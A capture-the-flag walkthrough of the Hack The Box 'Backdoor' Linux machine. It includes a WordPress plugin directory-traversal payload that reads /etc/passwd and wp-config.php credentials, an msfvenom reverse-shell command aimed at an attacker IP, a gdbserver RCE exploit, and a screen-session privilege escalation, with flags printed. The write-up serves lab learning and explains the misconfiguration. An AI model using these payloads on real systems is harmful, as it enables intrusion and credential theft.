Backdoor
9 minutes to read
- OS: Linux
- Difficulty: Easy
- IP Address: 10.10.11.125
- Release: 20 / 11 / 2021
Port scanning
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.125 -p 22,80,1337
Nmap scan report for 10.10.11.125
Host is up (0.33s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
|_http-server-header: Apache/2.4.41 (Ubuntu)
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 44.66 seconds
This machine has ports 22 (SSH), 80 (HTTP) and 1337 open.
Enumeration
If we go to http://10.10.11.125
, we will see a WordPress site like the following. If we try to navigate, we will be redirected to http://backdoor.htb
, so we need to enter backdoor.htb
into /etc/hosts
.
We can see that there is a default post for the admin
user:
Moreover, we can enumerate the used plugins going to /wp-content/plugins
(since there is a directory listing vulnerability):
WordPress enumeration
The plugin called eBook Download
is vulnerable to Directory Path Traversal, as shown in the output of searchsploit
:
$ searchsploit wordpress ebook download
----------------------------------------------------------- -----------------------
Exploit Title | Path
----------------------------------------------------------- -----------------------
WordPress Plugin eBook Download 1.1 - Directory Traversal | php/webapps/39575.txt
----------------------------------------------------------- -----------------------
Shellcodes: No Results
$ cat 39575.txt
# Exploit Title: WordPress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7
[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================
[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================
Foothold
With this plugin, we are able to read files from the server if the system user (usually www-data
) has enough permissions.
Directory Path Traversal exploitation
We can check with curl
that the exploit works:
$ curl 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/hosts'
/etc/hosts/etc/hosts/etc/hosts127.0.0.1 localhost
127.0.1.1 backdoor
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
<script>window.close()</script>
However, we observe that the first and the last line contain some data that can be a little annoying. To avoid this, we can encapsulate the GET request in a simple Python script called dpt.py
to filter the unwanted data (detailed explanation here). Now we can read only the desired file, for example, /etc/passwd
:
$ python3 dpt.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
We can check the WordPress configuration in the file wp-config.php
:
$ python3 dpt.py /var/www/html/wp-config.php
<?php
// ...
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
// ...
require_once ABSPATH . 'wp-settings.php';
Here we find the credentials to access MySQL. However, MySQL is not exposed and we have not got any type of access to the machine. We cannot access the WordPress administrator panel (/wp-admin
) using this password and neither login using SSH into the machine.
Process enumeration
At this point, we can recall that the machine has another port open. In fact, port 1337.
Using the WordPress plugin, we can read all the running processes from the file /proc/sched_debug
. Since there are a lot of processes, we can filter by those that contain sh
, to list only the ones that are executed within a shell session:
$ python3 dpt.py /proc/sched_debug | grep sh
I kdmflush 342 1982.495633 2 100 0.000000 0.017011 0.000000 0 0 /
S sh 958 1022.736050 390 120 0.000000 82.017080 0.000000 0 0 /autogroup-67
S sshd 968 10.389860 10 120 0.000000 12.014977 0.000000 0 0 /autogroup-72
S ib_pg_flush_co 1013 1111.061054 220 120 0.000000 18.966596 0.000000 0 0 /autogroup-79
S bash 995 0.499467 2 120 0.000000 2.034465 0.000000 0 0 /autogroup-81
I kdmflush 340 1996.290992 2 100 0.000000 0.011462 0.000000 0 0 /
S sh 959 0.004608 2 120 0.000000 1.493881 0.000000 0 0 /autogroup-68
S ib_log_flush 1029 295.362337 2107 120 0.000000 46.223983 0.000000 0 0 /autogroup-79
S bash 1018 40.675562 46 120 0.000000 27.889225 0.000000 0 0 /autogroup-83
The good thing about /proc/sched_debug
is that we have the PID (process identifier) in the third column starting from the left. Now, we can obtain more detailed information about a specific process. Namely, /proc/<PID>/cmdline
will tell us how the process has been started; /proc/<PID>/environ
will show any environment variables set to run the process; and /proc/<PID>/fd/<FD>
will print a file descriptor for the process (0
for stdin
, 1
for stdout
, 2
for stderr
, etc.).
This time, showing the commands is more interesting. Using some of the above process identifiers, we see two curious commands:
$ python3 dpt.py /proc/958/cmdline
/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
$ python3 dpt.py /proc/959/cmdline
/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
For the moment, we will focus on the second one. It is running gdbserver
on port 1337 to debug some binary file (/bin/true
).
We can verify that the process is running filtering for gdbserver
in the file /proc/sched_debug
:
$ python3 dpt.py /proc/sched_debug | grep gdbserver
S gdbserver 996 3.421556 16 120 0.000000 2.985488 0.000000 0 0 /autogroup-81
$ python3 dpt.py /proc/996/cmdline
gdbserver--once0.0.0.0:1337/bin/true
So it seems that the entry vector is gdbserver
. This is the command:
gdbserver --once 0.0.0.0:1337 /bin/true
Obtaining RCE from gdbserver
We can actually connect to the gdbserver
instance from a local gdb
session (using target remote 10.10.11.125:1337
). However, it is not easy to interact with the server this way.
Looking for exploits, we can find a Metasploit module (multi/gdb/gdb_server_exec
). This module works fine and will return a shell. However, I decided to understand the module and write an exploit in Python called pwn_gdbserver.py
to gain Remote Code Execution (detailed explanation here).
The exploit can also be found in ExploitDB and using searchsploit
:
$ searchsploit gdbserver
---------------------------------------------------- -----------------------
Exploit Title | Path
---------------------------------------------------- -----------------------
GNU gdbserver 9.2 - Remote Command Execution (RCE) | linux/remote/50539.py
---------------------------------------------------- -----------------------
Shellcodes: No Results
To use my exploit, an msfvenom
payload is needed using the following command:
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.17.44 LPORT=4444 PrependFork=true -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin
After that, we can use the exploit as follows:
$ python3 pwn-gdbserver.py 10.10.11.125:1337 rev.bin
[+] Connected to target. Preparing exploit
[+] Found x64 arch
[+] Sending payload
[*] Pwned!! Check your listener
And get a connection on our nc
listener:
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.125.
Ncat: Connection from 10.10.11.125:39166.
script /dev/null -c bash
Script started, file is /dev/null
user@Backdoor:/home/user$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
user@Backdoor:/home/user$ export TERM=xterm
user@Backdoor:/home/user$ export SHELL=bash
user@Backdoor:/home/user$ stty rows 50 columns 158
At this point, we can get the user.txt
flag:
user@Backdoor:/home/user$ cat user.txt
424f67d5081afb1323b9772953cb0ac1
System enumeration
Basic enumeration shows that /usr/bin/screen
is a SUID binary:
user@Backdoor:/home/user$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/fusermount
/usr/bin/screen
/usr/bin/umount
/usr/bin/mount
/usr/bin/chsh
/usr/bin/pkexec
Let’s recall the weird process shown before with the vulnerable WordPress plugin:
$ python3 dpt.py /proc/958/cmdline
/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
Basically, the command is checking every second whether the directory /var/run/screen/S-root/
is empty. And if it is, then screen -dmS root
will be executed.
Looking at the help menu of screen
we see that:
-dmS name Start as daemon: Screen session in detached mode.
Privilege escalation
So root
has created a sessions called root
and it is detached. Since screen
is SUID, it will be run as the owner (root
) when it is executed. As a result, as user
we are able to enter the screen
session of root
as follows (notice that one root
is for the username and the other one is for the session name):
user@Backdoor:/home/user$ screen -r root/root
root@Backdoor:~# cat root.txt
631c03c28fc182a3a4128ec8b39e2fb3
Clarification
This is not a security issue of screen
. The problem is that it has been explicitly configured as insecure:
root@Backdoor:~# ls -la
total 48
drwx------ 7 root root 4096 Apr 23 05:53 .
drwxr-xr-x 19 root root 4096 Nov 15 13:49 ..
lrwxrwxrwx 1 root root 9 Jul 18 2021 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 Nov 10 14:18 .cache
drwx------ 3 root root 4096 Nov 10 14:18 .config
drwxr-xr-x 3 root root 4096 Nov 10 14:18 .local
lrwxrwxrwx 1 root root 9 Nov 6 21:40 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 2 root root 4096 Nov 10 14:18 .reset
-rw-r--r-- 1 root root 33 Apr 23 00:31 root.txt
-rw-r--r-- 1 root root 42 Apr 23 00:30 .screenrc
-rw-r--r-- 1 root root 66 Apr 23 05:53 .selected_editor
drwx------ 2 root root 4096 Nov 10 14:18 .ssh
root@Backdoor:~# cat .screenrc
multiuser on
acladd user
shell -/bin/bash
The .screenrc
file indicates screen
to be multi-user and allow the user called user
to access root
’s sessions. The default screen
configuration will make each session private for the corresponding user, even if the binary was SUID.
Just for testing purposes, let’s empty the .screenrc
file and try to connect again to root
’s session:
root@Backdoor:~# echo > .screenrc
root@Backdoor:~# exit
[screen is terminating]
user@Backdoor:/home/user$ screen -r root/root
There is a screen on:
1741.root (01/02/22 12:34:56) (Private)
There is no screen to be attached matching root.
It is not possible, screen
makes private sessions by default.
To sum up, this privilege escalation was possible because screen
was SUID and root
configured its sessions as multi-user and allowed user
explicitly to access its sessions (more information here).